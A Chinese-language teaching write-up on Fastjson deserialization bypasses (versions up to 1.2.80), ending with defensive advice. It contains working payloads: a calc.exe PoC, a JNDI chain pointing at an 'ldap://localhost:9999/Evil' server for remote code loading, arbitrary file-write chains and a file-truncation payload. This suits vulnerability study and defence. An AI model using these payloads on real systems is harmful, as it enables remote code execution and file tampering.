深究fastjson利用分析
字数 1350 2025-08-12 11:34:02
Fastjson漏洞利用深度分析教学文档
1. Fastjson漏洞概述
Fastjson是阿里巴巴开源的一个Java JSON处理库,在多个版本中存在反序列化漏洞。本文档主要分析Fastjson <= 1.2.68和<= 1.2.80版本的漏洞利用方式。
2. Fastjson <= 1.2.68漏洞分析
2.1 漏洞背景
在1.2.47版本漏洞爆发后,官方在1.2.48版本进行了修复:
- 在MiscCodec处理Class类的地方,设置cache为false
- loadClass重载方法的默认调用改为不缓存
- 新增安全控制点safeMode,开启后将完全禁止autoType
2.2 漏洞原理
在ParserConfig#checkAutoType中,如果类不在白名单中,满足以下条件之一即可加载:
- 开启了autoTypeSupport
- expectClassFlag为True
漏洞利用关键点:
- 以某个类作为expectClass参数传入checkAutoType
- 查找反序列化expectClass的子类或实现
- 构造反序列化链,直到找到可利用的类
2.3 绕过方法
2.3.1 利用java.lang.AutoCloseable接口
- 使用JavaBeanDeserializer反序列化器
- 当类型为接口时,继续解析下一个JSON字段
- 将接口作为expectClass参数传入checkAutoType
示例PoC:
String payload = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"pers.fastjson.Fj68Test\", \"cmd\":\"calc.exe\"}";
JSON.parseObject(payload);
2.3.2 黑名单限制
Fastjson对以下类进行了黑名单限制:
if (expectClass == Object.class ||
expectClass == Serializable.class ||
expectClass == Cloneable.class ||
expectClass == Closeable.class ||
expectClass == EventListener.class ||
expectClass == Iterable.class ||
expectClass == Collection.class) {
expectClassFlag = false;
}
此外,以下父类/接口也被限制:
if (ClassLoader.class.isAssignableFrom(clazz) ||
javax.sql.DataSource.class.isAssignableFrom(clazz) ||
javax.sql.RowSet.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
2.4 利用链分析
2.4.1 JNDI利用(1.2.50及之前版本)
利用OracleJDBCRowSet实现AutoCloseable接口:
- 调用链:OracleJDBCRowSet#getConnection → lookup可控参数
- 通过setCommand方法触发getConnection调用
Payload:
{
"@type":"java.lang.AutoCloseable",
"@type":"oracle.jdbc.rowset.OracleJDBCRowSet",
"dataSourceName":"ldap://localhost:9999/Evil",
"command":"a"
}
2.4.2 文件读写利用
写文件方法1(JDK11):
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out': {
'@type':'java.util.zip.InflaterOutputStream',
'out': {
'@type':'java.io.FileOutputStream',
'file':'/tmp/fj_hack_jdk11',
'append':false
},
'infl': {
'input': {
'array':'eJzzSK1USMqv1FHwVEjMVQjKT8oPSS3KAABRJwdZ',
'limit':30
}
},
'bufLen':1048576
},
'protocolVersion':1
}
写文件方法2:
{
'stream': {
'@type':"java.lang.AutoCloseable",
'@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
'targetPath':'/tmp/dst',
'tempPath':'/tmp/src'
},
'writer': {
'@type':"java.lang.AutoCloseable",
'@type':'com.esotericsoftware.kryo.io.Output',
'buffer':'base64',
'outputStream': {
'$ref':'$.stream'
},
'position':19
},
'close': {
'@type':"java.lang.AutoCloseable",
'@type':'com.sleepycat.bind.serial.SerialOutput',
'out': {
'$ref':'$.writer'
}
}
}
清空文件:
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
}
3. Fastjson <= 1.2.80漏洞分析
3.1 修复措施
将java.lang.AutoCloseable加入了黑名单
3.2 新的绕过方式
利用ThrowableDeserializer#deserialze:
- 限制必须为Throwable类或子类
- java.lang.Exception类在TypeUtils.mappings中存在且不在黑名单中
利用步骤:
- 第一次checkAutoType时expectClass为null
- 从mappings中获取缓存
- 获取ThrowableDeserializer反序列化器
- 将java.lang.Exception类作为expressClass传入
4. 防御建议
- 升级到最新安全版本
- 开启safeMode完全禁用autoType
- 严格限制fastjson反序列化的输入源
- 使用白名单机制限制可反序列化的类
5. 总结
Fastjson漏洞的核心在于autoType机制的绕过,通过精心构造的JSON数据,利用特定的接口或父类作为跳板,最终实现恶意代码执行或文件操作。防御此类漏洞需要多层次的防护措施。